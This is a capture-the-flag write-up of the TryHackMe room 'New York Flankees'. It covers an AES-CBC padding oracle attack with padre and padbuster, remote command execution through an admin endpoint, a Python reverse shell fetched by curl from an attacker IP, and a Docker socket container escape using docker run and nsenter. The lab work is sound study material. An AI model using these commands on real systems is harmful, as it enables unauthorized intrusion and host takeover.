New York Flankees

Can you, the rogue adventurer, break through Stefan's defences to take control of his blog! - by ioctl & tgreenMWR

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports. 22 on which SSH is running, and 8080, which is a web service.

We enumerate the page manually and find a welcome message. This is only a test instance in which Stefan tests his ideas and implementation. His sponsor is Oracle. A first indication of what we are dealing with. But more on that later. We have links to Blog, Stefan Test and Admin Login in the header.

This blog is used to document Stefan's ideas and test his implementation - it is sponsored by his company Oracle

We don't find much at the login. We don't get any feedback, so we can neither enumerate users nor brute-force passwords.

In the header, we find the link Stefan Test. This redirects us to a static debug HTML page. Here we have two to-dos, a custom authentication is still pending, and a bug should be fixed, which refers to a padding. The terms padding and Oracle, ah well.

In the source, we find a piece of JavaScript that makes a GET request to /api/debug/<HEX_DATA>. The comments also contain the terms AES, CBC and PKCS. Now we can guess what task we are facing. We need to make use of an AES-CBC padding oracle attack.

If we make a request to /api/debug/<HEX_DATA> with the hex string from the source we get the message "Custom authentication success"

If we alter the hex data, we get an error.

Flank The Crystal Ball

Since we have a ciphertext and an oracle for /api/debug leaking information about a correct or an incorrect padding, we are able to attack the endpoint with a padding oracle attack, which is a chosen ciphertext attack. This should allow us to decrypt the found ciphertext in the source.

A super short excursion:

AES (Advanced Encryption Standard) is a symmetric encryption algorithm widely used for securing data. CBC (Cipher Block Chaining) is a mode of operation for block ciphers. In CBC mode, each block of plaintext is XORed with the previous ciphertext block before being encrypted. This mode ensures that identical plaintext blocks will produce different ciphertext blocks.

PKCS (Public Key Cryptography Standards) #7 padding is a scheme used to ensure that the plaintext's length is a multiple of the block size required by the cipher. If the plaintext is not a multiple of the block size, it is padded with bytes, all of which are the same value as the number of padding bytes added.

A Padding Oracle Attack is an attack that uses information from the padding validation process to decrypt ciphertext. In this context, a Padding Oracle is a system that leaks information about the correctness of the padding of decrypted ciphertexts.

Steps of a Padding Oracle Attack

  1. Craft a Ciphertext: The attacker intercepts a ciphertext and crafts a new ciphertext by manipulating it.

  2. Send to Oracle: The manipulated ciphertext is sent to the padding oracle.

  3. Analyze Response: The oracle will respond indicating whether the padding is correct or incorrect.

  4. Iterate: Based on the oracle's response, the attacker iterates over the possible byte values to guess the original plaintext.

Chosen Ciphertext Attack (CCA)

In a CCA, the attacker can choose arbitrary ciphertexts and submit them to the decryption oracle (which in practice might be some server or application) to get the corresponding plaintexts. The attacker's goal is to use this ability to decrypt other ciphertexts or to gain information that would otherwise be unattainable.

You can find a related challenge (not a padding oracle) with a manual approach here:

A more comprehensible explanation can be found below and is highly recommended for understanding such an attack:

Fortunately, we don't have to go through the process manually, and we can find some tools on GitHub.

Speeeeeed

A big thank you to 0day for sharing this script with me after solving the challenge, which works much faster than the one I originally used:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/new york flankees]
└─$ ./padre-linux-amd64 -err "Decryption error" -e lhex -u 'http://blog.thm:8080/api/debug/$' '39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4

Slow - Initial Tool Used

We first used padbuster, the tool that is showcased at Hacktricks. The following code snippet shows the successful execution. It is important to determine the correct block size, this was done via trial and error. Possible block sizes can be divisors of the message length, which in this case is 80. The block size is 16, and the encoding of the ciphertext is lower hex.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/new york flankees]
└─$ padbuster  http://blog.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 "39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4" 16 -encoding 1

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 29

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     29      N/A
2 **    255     500     16      N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (133/256) [Byte 16]
[+] Success: (250/256) [Byte 15]
[+] Success: (254/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (173/256) [Byte 12]
[+] Success: (245/256) [Byte 11]
[+] Success: (254/256) [Byte 10]
[+] Success: (248/256) [Byte 9]
[+] Success: (255/256) [Byte 8]
[+] Success: (246/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (168/256) [Byte 5]
[+] Success: (246/256) [Byte 4]
[+] Success: (163/256) [Byte 3]
[+] Success: (178/256) [Byte 2]
[+] Success: (166/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5
[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a
[+] Plain Text: stefan<REDACTED>:<REDACTED>

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 4 ***

...

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): stefan<REDACTED>:<REDACTED>

[+] Decrypted value (HEX): <REDACTED>

[+] Decrypted value (Base64): <REDACTED>
-------------------------------------------------------

After a long duration, we receive the decryption of the blob. Iit's a credential pair for the admin dashboard, and also the answer to the first question. Using the credentials, we are able to log in and find the first flag. Here, we are able to execute commands, but on execution, we do not get much feedback, only an OK if it was successful.

Code Execution

The first attempt was to spawn a simple reverse shell, but this was not successful, nor was a ping. The command set is probably somewhat limited. As can be seen from the room description, it could be a Docker container, which could explain this. We then tested some binaries. If the execution appears to be successful, we get an OK back.

We probably can't use nc.

But python instead.

We generate a reverse shell on revshells.com. We use the Python3 shortest.

Unfortunately, direct execution was not successful. Therefore, we write a Python script, which we bring to the machine with the help of cURL.

rev.py
import os,pty,socket;s=socket.socket();s.connect(("10.8.211.1",4445));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

Once the script is on the machine, all we have to do is set the permissions to be able to execute it and then run it. The commands are executed one after the other, with a separate request for each one.

/api/admin/exec?cmd=curl%20http://10.8.211.1/rev.py%20-o%20/tmp/rev.py

chmod%20+x%20/tmp/rev.py

python3%20/tmp/rev.py

We received a connection back, we are root. Next, we're upgrading our shell first. Furthermore, we then find the docker flag in the environment variable env.

The Great Escape

As is already assumed, we are in a Docker container.

We use the Docker enumeration script deepce. A bit old, but still efficient and reliable. We see that sock is writable and find a suitable escape on Hacktricks.

We confirmed this again with a manual search.

Quote hacktricks:

If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it. This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.

In this case you can use regular docker commands to communicate with the docker daemon.

We look at which images we have available on the machine. The idea now is to use one of the images, make it run, mount the host directory on it, and change the root directory to it. We then receive full access to the host via ns pid and nsenter cli. We adapt the commands from hacktricks and reference the used image by its ID. We use the image gradle.

Below are the commands:

docker run -it -v /:/host/ d5954e1d9fa4 chroot /host/ bash
docker run -it --rm --pid=host --privileged d5954e1d9fa4 bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

We now have access as root to the host and find the final flag at /flag.txt.

Last updated